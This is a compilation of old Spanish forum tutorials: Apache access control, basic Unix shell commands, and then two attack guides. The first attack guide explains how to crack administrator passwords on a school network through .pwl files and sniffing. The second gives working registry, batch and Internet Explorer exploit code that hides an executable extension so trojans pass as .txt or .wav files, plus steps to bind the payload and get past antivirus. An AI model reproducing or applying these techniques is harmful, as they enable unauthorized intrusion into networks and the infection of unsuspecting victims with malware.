Falta cambiar "site.com" y stop.gif with por tus nombres reales. Al intentar ver una imagen desde otro dominio aparece la imagen stop.gif.

¿verdad que es fácil? Modo mod_write activado y expresiones regulares y marchando.  

Hay otras maneras, si tienes un descargas en archivos "zip", puedes proteger estes archivos mediante contraseña. También puedes incluir un readme o un .url dentro del zip.

Otra buena manera de proteger tu ancho de banda (especialmente en las descargas) es utilizando la "Autorización del Apache" que se ve en el punto 8.

Veamos ahora un ejemplo:

Queremos proteger el directorio descargas:

<Directory "/home/pepe/public_html/descargas">
   AuthUserFile /home/pepe/htpasswd
   AuthType Basic
   AuthName "Escribe un nombre de usuario y contraseña"
   require valid-user
</Directory>

De esta manera para descargar cualquier archivo o documento que haya en la carpeta descargas será necesario introducir un nombre de usuario y contraseña válida. De la misma manera si hay una carpeta dentro de descargas (descargas/otrasdescargas) quedará también automáticamente protegida.

Para aprender a crear el htpasswd consulta el punto 8.

Otra manera pasa por subir las descargas a otro lugar y sin borrarlas de tu maquina incluir este sencillo código:

Redirect permanent /descargas http://www.miotraweb.com/descargas

Todas las descargas se bajarán de "miotraweb.com", aunque estén en nuestra máquina.

=====================================================================

7) Autorización en Apache

Autorización del Apache basada en host (ip):

<Directory /privado>
order deny,allow
deny from all
allow from ip1
allow from ip2
</Directory>

Autorización del Apache basada en usuario:

Primero crear el usuario con el binario (el binario, el .exe en windows, se encuentra por defecto en la carpeta bin del apache y en linux en /usr/local/apache/bin):

htpasswd -c htuser alex

Te pedirá la contraseña de alex dos veces.

Nos crea el archivo htuser que es donde está la contraseña de alex y tenemos que llamar a ese archivo en el httpd.conf

Ejemplo en Windows:

AuthUserFile  "C:Archivos de programaApache GroupApache2inhtuser"

Ejemplos enn Linux:
#el password está en el achivo htpasswd
AuthUserFile /home/alex/htpasswd
AuthUserFile conf/htuser
AuthGroupFile conf/htgroup

El arhivo htuser debe estar en conf, y sino le dices la ruta :)

Lo mejor es poner este archivo de password fuera del httdocs que tengamos, ya que aunque la contraseña está cifrada, es mejor no jugarsela y que algún listillo nos crackee el pass.

Quedaría así:

<Directory /privado>
AllowOverride None
Options Index
#donde está el fichero con lo passwords
AuthUserFIle conf/htuser
AuthGroupFile conf/htgroup
#nombre del recurso
AuthName "Privado"
#tipo
AuthType Basic
require user alex pepe
requiere group admin
# o bien
require valid-user
</Directory>

=====================================================================

8) Apache con una dirección IP dinámica

Copy/paste de http://www.escomposlinux.org/lfs-es/recetas/apache-dynamic-ip.html

Como hacer funcionar Apache cuando tienes una dirección IP dinámica, por ejemplo, una conexión PPP.

He investigado como utilizar dominios virtuales en Apache con una
dirección IP dinámica, y estoy tan orgulloso de la solución que he
encontrado, que voy a compartirla contigo :)

** (Nota, esto necesita la última versión de Apache (1.3.12) para
funcionar **

Copia el fichero /usr/local/apache/conf/httpd.conf en
/usr/local/apache/conf/httpd.conf.template y añade esto al final:

(NO cambies "----REPLACE_THIS_WITH_DYNIP----", ya que debe aparecer tal y como está :)

------------ [PARTE DE httpd.conf.template ] ------------

NameVirtualHost ----REPLACE_THIS_WITH_DYNIP----

<VirtualHost ----REPLACE_THIS_WITH_DYNIP---->
  ServerName www.domain1.com
  DocumentRoot &quo
#336
Tutoriales - Documentación / Curso Shell
28 Agosto 2002, 15:55 PM
v.01

Bueno pues, son las 22:57 y voy a explicar todo lo que pueda sobre una shell.

Una shell no es más que una sesión en un ordenador remoto (este ordenador usa linux, freeBsd, etc).

Un ejemplo es está shell de Hispashell.com que utiliza FreeBSD.

Con una shell puedes hacer cantidad de cosas que iremos viendo:

Entrando a HispaShell.com

login: milogin
Password:
Last login: Wed Jan 30 21:43:44 from 193.153.57.107

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

HispaShell.com - Shell

Puede ejecutar máx x proceso

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

CONOCE las REGLAS: teclea "reglas" para leerlas

VHOSTS: teclea "vhosts" para verlos

CONTACTOS:

Soporte: soporte@HispaShell.com
Ventas: ventas@HispaShell.com
Información: info@HispaShell.com
ONLINE: /server irc.DAL.net - Canal #HispaShell

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

-
-
Editores de texto: ee pico
Cliente de correo: pine
Clientes de IRC: BitchX scrollz irc
Clientes de web: lynx links
Cliente ICQ: centericq
Descargar Programas: fetch lynx ftp
-
Para mas ayuda escribe "man comando"

Para escribir un nombre largo usa el tabulador, es un auto-completador genial

listar directorios

[pepe <~>]$ ls
egg/ mail/ public_html/


te dice el directorio en el que estas

[pepe <~>]$ pwd
/home/ns2

para bajar un directorio

[ns2 <~>]$ cd ..
[ns2 </home>]$

borrar un directorio y ficheros que contenga

[ns2 <~>]$ rm -r egg


crear una carpeta

[ns2 <~>]$ mkdir carpeta

para detener el comando acttual (apretando control + c)

ver la memoria (jeje fijate que hay un 1GB xDDD )

[ns2@<~>]$ free
total used free shared buffers cached
Mem: 1028788 1015552 13236 0 69912 567056
-/+ buffers/cache: 378584 650204
Swap: 570296


Cantidad de disco duro

[ns2 <~>]$ df
bash: /bin/df: Permission denied

jejeje, no tengo permisos

Mostrar por pantalla

[ns2 <~>]$ cat > fichero.txt

Escribir fichero

[ns2 <~>]$ echo a > fichero.txt
Ver unidades montadas

[ns2 <~>]$ mount
/dev/ad0s1a on / (ufs, local)
/dev/ad0s1f on /usr (ufs, local, with quotas)
/dev/ad0s1e on /var (ufs, local)
procfs on /proc (procfs, local)

ver quien hay conectado

[ns2 <~>]$ who
mathyus ttyp0 Jan 30 10:38 (213.96.75.115)
ns2 ttyp1 Jan 30 23:16 (193.153.57.107)
dkt ttyp2 Jan 30 21:36 (213.97.219.85)

hablar con otro user

[ns2 <~>]$ talk user


ver quien eres

[ns2 <~>]$ whoami
ns2

info sobre usuario

[ns2 <~>]$ finger ns2
Login: ns2 Name: elhacker.net
Directory: /home/ns2 Shell: /usr/local/bin/bash
On since Wed Jan 30 23:16 (CET) on ttyp1 (messages off) from 193.153.57.107
No Mail.
No Plan.

ver procesos

[ns2 <~>]$ ps
PID TT STAT TIME COMMAND
85433 p1 S 0:00.01 -bash (bash)
85440 p1 R+ 0:00.00 ps
85103 p3- S 0:01.03 ./eggdrop -m eggdrop.simple.conf (eggdrop-1.4.5)

matar proceso (mato el eggdrop)

[ns2 <~>]$ kill 85103

Si se pone tonto el proceso

[ns2 <~>]$ kill -9 85103

info del servidor

[ns2 <~>]$ uname -a
FreeBSD HispaShell.com 4.5-PRERELEASE FreeBSD 4.5-PRERELEASE #0: Sun Dec 2 03:59:00 MYT 2001 dalok0kat@HispaShell.com:/usr/obj/usr/src/sys/HISPASHELL i386

espacio usado

[ns2 <~>]$ du
2 ./public_html
9019 ./egg
1 ./.BitchX
3 ./mail
9053 .

Para ejecutar programas

[ns2 <~>]$ ./programa opciones

Ejemplo:
[ns2 <~>]$ ./eggdrop -m archivo.conf


Para instalar programas con tu shell

Primero subes tu programa por FTP a tu carpeta home/name

lo descomprimes

[ns2 <~>]$ tar xvzf archivo.tar.gz

se te crea una carpeta nombre archivo

[ns2 <~>]$ cd archivo

lees la documentacion

[ns2 <~>]$ pico INSTALL

configuras el programa

[ns2 <~>]$ ./configure

lo compilas

[ns2 <~>]$ make

haces el make install en tu directorio

[ns2 <~>]$ make install DEST



Common SSH Commands - Linux Shell Commands
http://webhostgear.com/35.html

http://suso.suso.org/docs/infosheets/shell-commands.gif

http://linux.about.com/library/cmd/blcmdl_1d.htm

http://webhostgear.com/35.html
#337
Bueno, me he animado y escribiré un pequeño curso.

Empezemos por lo más básico. En casi todas las escuelas, universidades y empresas utilizan el windows 9x. Veremos lo relativamente fácil que es jugar con él. Más adelante veremos el NT y Linux, mucho más divertido pero también más difícil.

La lección de hoy es hackear un windows 9x en red con un servidor NT. El nivel de dificultad es mínimo o inexistente.

Primero debemos encontrar los logins y passwords del/los administradores o usuarios equivalentes.

Buscamos todos los *.pwl que se encuentren en la carpeta C:\Windows. El nombre del archivo es el username, pero no hay que fiarse, porque si el nombre es muy largo (ejemplo: administrador) el pwl es admin.pwl y el login no es admin, sino administrador.

Para saber correctamente el login de los usuarios debemos buscar en el system.ini la entrada Password List donde sale el nombre del usuario seguido de su pwl:

Ejemplo:

Password List
administrador=admin.pwl

El pwl se crea siempre que ese usuario ha entrado en ese PC. Así que lo más probable es que en tu PC no este el pwl del admin o de algún profesor. Para eso existen los sniffers.

Una vez tenemos el *.pwl copiarlo a un disquete y nos lo llevaremos para casa para poder jugar con él. Allí dentro se encuentra la contraseña, pero está cifrada asi que no es os ocurra abrilo, ya que no entendereis nada.

Un buen desencriptador/decodificador del pwl es el Cain, disponible en la sección de Hacking. Lo único que hace el Cain es probar combinaciones ya sean de Fuerza Bruta (todas las posibilidades) o Diccionario (probar todas las palabras de un diccionario). Se puede configurar la fuerza bruta (A-Z, Números, etc) y sino teneis un buen diccionario, no sé a que esperais a a haceros uno, es lo más rápido y eficaz que hay.

Cain necesita saber el username del pwl, por eso hemos abierto el system.ini. Se pueden guardar los ataques del Cain, ya que pueden durar semanas, meses, dependiendo de la longitud y dificultad de la contraseña.

Sino sabemos el username porque en el system.ini no sale ningún admin, debemos instalar el Cain en nuestro pc del colegio y activar la opción del Sniffer (Configurando primero el Cain, debemos decirle la tarjeta de Red para que caputre los paquetes ). El sniffer del Cain capta los hash de los usuarios que se conecten al momento. Así veremos como si lo ponemos a primera hora, veremos como se conecta el admin, el profe, etc. Ya tenemos el username, pero nos falta como no el password, que sacaramos como siempre, por fuerza bruta o diccionario.

Una vez encontrada la contraseña (password found) iremos al colegio y entraremos con nuestro login y pass. La primera vez que entremos si no estaba creado el pwl se crea el pwl y no tendremos permisos para hacer nada. Si ya estaba el pwl, si tendremos acceso ya como admin.

Ya podeis navegar por el Entorno de Red sin ningún tipo de restricciones. Incluso saldrán nuevos pc, carpetas compartidas, carpetas que no tenias permisos se vuelven amigas.

Si no hay carpetas compartidas en el servidor, no te preocupes. Si el servidor es un NT comparte por defecto la C. Así que escribe en tu navegador http://ip/c$.

Así podrás acceder a la c, recuerda el simbolo del dollar ($). Puedes copiar archivos, leer, etc.

Otro dia seguiremos. Ahora me voy a dormir.
#338
Cualquier tipo de archivo (.wav .jpg .txt ...) puede ser un ejecutable

Aunque no sea muy habitual, es posible hacer pasar un troyano ( virus, o cualquier otro ejecutable) por un archivo de texto (.txt), de audio (.wav), una carpeta, o cualquier otro tipo de archivo (si, cualquiera).




Estos archivos son en realidad troyanos, y como puedes ver parecen archivos inofensivos.
Vamos a ver como se consigue hacer pasar un ejecutable por cualquier otro archivo en apariencia inofensivo.

La técnica consiste en "contaminar" el sistema, de manera que una vez infectado, sea vulnerable a este método y sea él mismo el que haga parecer a los archivos maliciosos, archivos totalmente inofensivos.
Increíblemente se trata de un método facilísimo.
Vamos a explicar paso a paso como se hace, para poder así saber como tenemos que protegernos de este posible ataque.

Lo que vamos a hacer es crear una extensión nueva, darle características de ejecutable, y ocultarla, crearemos en este ejemplo la extensión ".troj" .
De esta forma lo que nosotros tenemos es un archivo, por ejemplo, "server.exe", al que le hemos puesto el icono propio del txt, lo renombramos a "server.txt.troj", tras "contaminar" el sistema de la víctima, la extensión .troj, no solo será reconocida como ejecutable, sino que incluso desaparecerá, y por lo tanto lo que tendremos como resultado será un archivo server.txt (que se puede renombrar como readme.txt por ejemplo) en el que al hacer click se ejecutará el "server.exe".


CREANDO LA EXTENSIÓN:

Antes de pensar en otras cosas, lo primero es saber como podemos hacer que se cree nuestra extensión en el PC de la víctima.
Para crear una extensión, es necesario añadir las claves adecuadas al registro, y para ello se utilizan los archivos ".reg"
En este punto vamos a diferenciar entre Windows98 y Windows NT/2000/XP, puesto que hay ciertas cosas que varían entre uno y otro, el ejemplo que vamos a crear está pensado para que funcione en NT/2000/XP, para Windows98 no tiene mayor complicación, pero hay que cambiar algunas cosas.
Con estas líneas añadimos lo que necesitamos al registro:

REGEDIT4
[HKEY_CLASSES_ROOT\.troj]
@="trojfile"
[HKEY_CLASSES_ROOT\trojfile]
@="Documento de texto"
"NeverShowExt"=""
[HKEY_CLASSES_ROOT\trojfile\Shell\Open\Command]
@=""%1" %*"

Vamos a explicarlo un poco para el que no lo entienda:
REGEDIT4
Es la cabecera que indica que es un archivo de registro, dependiendo del sistema, también podría poner "Windows Registry Editor Version 5.00", según la versión.
[HKEY_CLASSES_ROOT\.troj]
Añadimos a la clave HKEY_CLASSES_ROOT la extensión ".troj", en HKEY_CLASSES_ROOT, se encuentra el registro de todas las extensiones y los tipos de archivo conocidos por nuestro sistema.
@="trojfile"
La "@" se utiliza para añadir claves con el valor de (Predeterminado)
"trojfile" es el tipo de archivo al que pertenecerán los archivos con extensión ".troj"
Para que lo entiendas mejor, abre el regedit32.exe, y ve hasta HKEY_CLASSES_ROOT, verás que la extensión, por ejemplo, ".txt" está asociada con los "txtfile", la ".exe" está asociada con los "exefile" etc.
[HKEY_CLASSES_ROOT\trojfile]
Añadimos el tipo de archivo "trojfile"
@="Documento de texto"
Esta es la clave que define a los "trojfile" (los ".troj") como documentos de texto, gracias a ello, cuando alguien vea las propiedades del documento, verá en "Tipo de archivo:" el valor "Documento de texto".
"NeverShowExt"=""
Esta clave es un punto fundamental en el proceso, añadiendo esta clave a cualquier tipo de archivo conseguimos que la extensión del archivo desaparezca.
La clave "NeverShowExt" es la responsable de que cierto tipo de extensiones no se vean.
Estas son las extensiones que permanecen invisibles:
.cnf
.lnk
.pif
.scf
.shb
.shs
.url
El hecho de que estas extensiones permanezcan ocultas se debe a que poseen la clave en el registro "NeverShowExt". Todas las extensiones que tengan este atributo en el registro, permanecerán invisibles en Windows aunque lo tengamos configurado para ver todas las extensiones.
Por lo tanto nosotros la añadiremos a nuestro tipo de archivo para hacer desaparecer nuestra extensión.
[HKEY_CLASSES_ROOT\trojfile\Shell\Open\Command]
Esta es la ruta en la que hay que poner qué programa se utilizará para abrir ese tipo de archivo.
@=""%1" %*"
Esto indicará que se abra como cualquier otro ejecutable, en este punto es donde se define, por ejemplo que los .txt se abran con el notepad.exe poniendo algo así:
@="%SystemRoot%\system32\NOTEPAD.EXE %1".

Bien, metiendo todo esto en un ".reg" ya tenemos lo que buscábamos. Al pinchar sobre el ".reg" se añadirá automáticamente la nueva extensión al registro, y el archivo "server.txt.troj" se transformará en "server.txt" (con el icono del txt porque anteriormente habíamos modificado el "server.exe" para que llevara este icono).

Hasta aquí, como idea no esta mal, pero sabemos que sólo un usuario del grupo de administradores tiene permiso para manejar el registro. por lo tanto debemos buscar la manera de que sea el administrador del sistema el que se contamine.

No voy a explicar aquí ninguno de los métodos de intrusión, puesto que creo que ya están bastante explicados, y no es el propósito de este texto. partimos del supuesto de que se consigue engañar al admin y hacerle ejecutar un archivo que contenga no sólo un troyano, sino este método de "contaminación" del sistema, que una vez llevado a cabo, servirá para posteriores infecciones.
Es decir, una vez que alguien está contaminado, se le pueden mandar por el IRC, o por Mail troyanos renombrados a "readme.txt.troj", "sonido.wav.troj" etc. Con la ventaja de que a ojos de la víctima aparecerán como "readme.txt", "sonido.wav" etc, archivos que eludirán los filtros de los scripts de IRC que bloquean las extensiones conocidas como peligrosas (.exe, .bat, .vbs...) y los filtros de algunos clientes de correo que siguen el mismo fin, además la víctima no tendrá ningún problema en pinchar sobre ellos, puesto que parecen inofensivos.

¿De que manera, por tanto, es posible mandar las claves del registro a la víctima?

Vamos a diferenciar 2 maneras diferentes, mediante un javascript y mediante un ejecutable.



1.-Mediante un javascript: Actualizado el 14-12-2001

Hablando un dia sobre este articulo con [^eLaiM^] , surgió la posibilidad de recrear este método de "contaminación" del sistema mediante un HTML. El código siguiente es el resultado de estudiar esa posibilidad.

Vamos a valernos de la vulnerabilidad del Internet Explorer en sus versiones 5 y 5.5, explicada aquí y que permite que un atacante modifique el registro de la víctima.

El código fuente que debemos utilizar sería este:

#script#
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function f() {
try {
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
try {
Shl.RegWrite ("HKCR\\.troj\\", "trojfile");
Shl.RegWrite ("HKCR\\trojfile\\", "Documento de texto");
Shl.RegWrite ("HKCR\\trojfile\\NeverShowExt", "");
Shl.RegWrite ("HKCR\\trojfile\\shell\\open\\command\\", "%1 %*");

}
catch(e) {}
}
catch(e) {}
}

setTimeout("f()", 1000);

#/script#

(sustituye los simbolos "#script#" y "#/script#" por "<script>" y "</script>" para que funcione ).

Si el atacante, consigue que la víctima abra este código ( metido en un html ) ya sea por web o por mail, conseguirá que en el PC de la víctima se cree la extensión maliciosa que "contaminará" el sistema.

Este método es válido para "contaminar" sistemas Win9x/NT/2K



2.-Mediante un ejecutable:

(Vamos a fabricar un ejecutable, de una manera fácilmente entendible que cree la extensión maliciosa en el PC de la víctima).

Crear un exe que añada las claves al registro no representa ningún problema, para cualquiera con conocimientos de programación, pero, como siempre vamos a tratar de demostrar que no hacen falta grandes conocimientos para llevar a cabo estos ataques.
Vamos a valernos de un ".bat" para crear el .reg, de manera que cuando la víctima pinche en el .bat, éste cree en el ".reg" y lo ejecute, evidentemente de manera silenciosa.

Éste es el ".bat" que tenemos que crear, lo vamos a llamar "troj.bat":

@echo off
@echo REGEDIT4>%TEMP%\troj.reg
@echo [HKEY_CLASSES_ROOT\.troj]>>%TEMP%\troj.reg
@echo @="trojfile">>%TEMP%\troj.reg
@echo [HKEY_CLASSES_ROOT\trojfile]>>%TEMP%\troj.reg
@echo @="Documento de texto">>%TEMP%\troj.reg
@echo "NeverShowExt"="">>%TEMP%\troj.reg
@echo [HKEY_CLASSES_ROOT\trojfile\Shell\Open\Command]>>%TEMP%\troj.reg
@echo @=""%1" %*">>%TEMP%\troj.reg
regedit /s %TEMP%\troj.reg
del %TEMP%\troj.reg

Como vemos cuando se ejecute el "troj.bat", se creará el archivo "troj.reg" en la carpeta de archivos temporales, por último añadimos 2 líneas:
regedit /s %TEMP%\troj.reg
ejecutará el "troj.reg" para que se añadan las claves al registro.
del %TEMP%\troj.reg
borra el troj.reg una vez ejecutado, para no dejar rastro.

Pero surge aquí un problema en la línea:
@echo @=""%1" %*">>%TEMP%\troj.reg
si hiciéramos así el "troj.bat", crearía un "troj.reg" en el que en vez de aparecer @=""%1" %*" aparecería simplemente @=""
y por lo tanto los archivos con extensión ".troj" no serían ejecutables.
Para solucionarlo sustituimos:
@echo @=""%1" %*">>%TEMP%\troj.reg
por:
@echo @=hex(2):22,00,25,00,31,00,22,00,20,00,25,00,2a,00,00,00>>%TEMP%\troj.reg
No hemos hecho mas que sustituirlo por su equivalente hexadecimal, ahora la clave será correctamente introducida en el "troj.reg" (quedará así: @=""%1" %*" ).














-------------NOTA--------------

Si el sistema infectado es un NT/2K/XP podemos hacer el troj.bat de otra manera, puesto que existen comandos específicos para añadir extensiones y tipos de archivo al registro, los comandos son: "assoc" y "ftype" ( si quieres saber mas acerca de estos comandos, sólo tienes que escribir en una ventana de comandos "assoc /?" o "ftype /?"). Utilizando estas ordenes vamos a hacer que nuestro "troj.bat" añada automáticamente la extensión y el tipo de archivo al registro sin tener que pasar por el "troj.reg", "troj.bat"quedaría así:

assoc .troj=trojfile
ftype trojfile="%1" %*

El comando "assoc" sirve para añadir una extensión al registro y el "ftype" sirve para añadir un tipo de archivo
Pero por este método no podemos añadir la clave "NeverShowExt"="", y la extensión .troj quedaría a la vista, por lo tanto de todas maneras tendríamos que crear el "troj.reg", de esta manera

@echo off
assoc .troj=trojfile
ftype trojfile="%1" %*
@echo Windows Registry Editor Version 5.00>%TEMP%\troj.reg
@echo [HKEY_CLASSES_ROOT\trojfile]>>%TEMP%\troj.reg
@echo @="Documento de texto">>%TEMP%\troj.reg
@echo "NeverShowExt"="">>%TEMP%\troj.reg
@echo [HKEY_CLASSES_ROOT\trojfile\Shell\Open\Command]>>%TEMP%\troj.reg
@echo @=hex(2):22,00,25,00,31,00,22,00,20,00,25,00,2a,00,00,00>>%TEMP%\troj.reg
regedit /s %TEMP%\troj.reg
del %TEMP%\troj.reg


Vamos a quedarnos por lo tanto con el primero de los ejemplos que hicimos, sin utilizar los comandos "assoc" y "ftype".

---------FIN DE LA NOTA---------



Hasta aquí ya hemos conseguido crear un archivo que nos cree una nueva extensión, oculta y ejecutable. Si ahora la víctima recibe un archivo con icono, por ejemplo de txt, llamado readme.txt.troj, será incapaz de distinguirlo entre un txt y un ejecutable.




CREANDO EL ENGAÑO

Vamos a ver el proceso paso a paso para poner en claro lo fácil que es contaminar un sistema para dejarlo vulnerable a posteriores ataques.

Creamos el troj.bat, de la manera que ya explicamos mas arriba, y lo convertimos en troj.exe utilizando el primero el bat2exe (http://www.computerhope.org/download/utility/bat2exe.com),para convertirlo en troj.com, y después el C2E.COM y lo convertimos en troj.exe (podríamos haberlo dejado como troj.bat, pero siempre es interesante hacer las cosas bien).

La táctica consiste en unir el troj.exe a otro archivo inofensivo, como por ejemplo uno de esas animaciones en Flash con extensión .exe

Necesitamos juntar los dos ejecutables en uno, para ello vamos a utilizar el "DropperGen" esta es la web oficial (http://www.oblivionrat.com) que unido al "lcc-win32" (http://www.cs.virginia.edu/~lcc-win32/) unirá ambos archivos dejándolos en uno (gracias al método que utiliza para unir los archivos eludirá el scan de gran parte de los antivirus).





El archivo resultante pasará por una broma, pero el sistema quedará "contaminado" con la extensión ".troj" en su registro, después de esto se le pueden mandar archivos ejecutables y hacerlos pasar por archivos inofensivos.

Vamos a suponer que ahora pretendemos infectar a la víctima con un troyano:

Elegimos el server de un troyano (server.exe)
Lo primero que hacemos es cambiarle el icono por el de los .txt, para ello, lo cogemos del archivo archivo "shell32.dll", situado en la carpeta system32, utilizando, por ejemplo, el "Iconedit" (http://www.ad.ugatu.ac.ru/iconedit/)




Una vez que ya lo tenemos, utilizamos el ResHack (http://delphi.icm.edu.pl/ftp/tools/ResHack.zip) para cambiarle el icono al server.exe.






Al archivo resultante lo llamamos por ejemplo "license.txt.troj", y no queda nada mas que mandárselo a la víctima, aunque para nosotros el archivo aparezca así:



Para la víctima el archivo se verá así:



Creo que no es necesario decir lo peligroso que puede ser esto, puesto que no creo que nadie dude un instante en abrir un archivo de texto, porque no se cree que pueda ser peligroso.

Usando este método podemos darle a los archivos la extensión (la falsa) y el icono que queramos cada vez.

Se puede evitar la fase de cambiar el icono al server añadiendo unas líneas mas al registro, en la que atribuyamos un icono específico para los archivos ".troj", por ejemplo:

@echo [HKEY_CLASSES_ROOT\txtfile\DefaultIcon]>>%TEMP%\troj.reg
@echo @="%SystemRoot%\system32\shell32.dll,-152">>%TEMP%\troj.reg

para añadir el icono del .txt a los archivos .troj, que por las mismas razones que antes (lo de el %) debemos sustituir :

@echo @="%SystemRoot%\system32\shell32.dll,-152">>%TEMP%\troj.reg

por:

@echo @=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,
00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,73,00,68,00,
65,00,6c,00,6c,00,33,00,32,00,2e,00,64,00,6c,00,6c,00,2c,00,2d,00,31,00,35,
00,32,00,00,00>>%TEMP%\troj.reg

en una sola linea, para añadir el icono de los .wav a los archivos .troj cambiaría la última linea por esta:

@echo @="%SystemRoot%\System32\quartz.dll,-200">>%TEMP%\troj.reg

que ahora quedaría:

@echo @=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,
00,74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,
71,00,75,00,61,00,72,00,74,00,7a,00,2e,00,64,00,6c,00,6c,00,2c,00,2d,00,32,
00,30,00,30,00,00,00>>%TEMP%\troj.reg

también en una sola linea.

-------------NOTA--------------

Para encontrar el equivalente hexadecimal del icono que buscas, puedes hacerlo fácilmente sin necesidad de editores hexadecimales.

Abre el regedit, busca el tipo de archivo que quieres, abre la carpeta "DefaultIcon", marca el valor en el que pone (Predeterminado) bla bla.

Vete a "Registro">>"Exportar archivo de Registro..." introduce el nombre que quieras y dale a aceptar.

Edita con un editor de texto el archivo ".reg" que acabas de crear y ahí tienes el valor hexadecimal que corresponde a la cadena que quieres poner, y que no puedes añadir por contener el caracter %

---------FIN DE LA NOTA---------



La ventaja es que no corremos el riesgo de estar añadiendo un icono característico del Windows 2000, por ejemplo, y enviárselo después a alguien que utilice Windows 98.

El inconveniente es que estaremos limitados a ocultar siempre el server.exe bajo el mismo tipo de archivos.







INTRUSIÓN Y CONTAMINACIÓN DEL SISTEMA


Por supuesto se puede contaminar el sistema sin tener que esperar para mandarle el server.exe posteriormente.

Ejemplo 1:

Incluyendo los 3 archivos, es decir, el ".bat" (pasado a ".exe"), el server.exe y el archivo inofensivo (con el que se engaña a la víctima), en uno solo, con el "DropperGen"

Ejemplo 2:

Metiendo el "server.exe" y el "troj.bat" en una "carpeta trucada" ( Si no conoces como se hacen, lo tienes en la sección "Carpetas Infectadas"), en concreto en la carpeta trucada aparentemente vacía.

Podrías incluso añadir esto al "troj.bat":

@echo copy server.exe %SYSTEMROOT%\WinReadme.txt.troj
@echo %SYSTEMROOT%\WinReadme.txt.troj
@echo del server.exe
@echo del troj.bat

de esta forma el troyano se copiará a la carpeta WINNT (WINDOWS si es un 98) con el nombre WinReadme.txt.troj, después se ejecutará, y se borrarán todos los archivos de la carpeta modificada.

Después de esto, el sistema quedará contaminado, el server del troyano tendrá apariencia de txt, y la carpeta quedará realmente vacía.

Ejemplo 3:

Si tienes los passwords del PC remoto, puedes acceder directamente al registro remoto, introducir las claves manualmente y dejar el sistema contaminado.

Ejemplo 4:

Piensa un poco y seguro que se te ocurren muchas otras maneras.





Texto escrito por CyRuX

http://cyruxnet.com.ar/extensiones.htm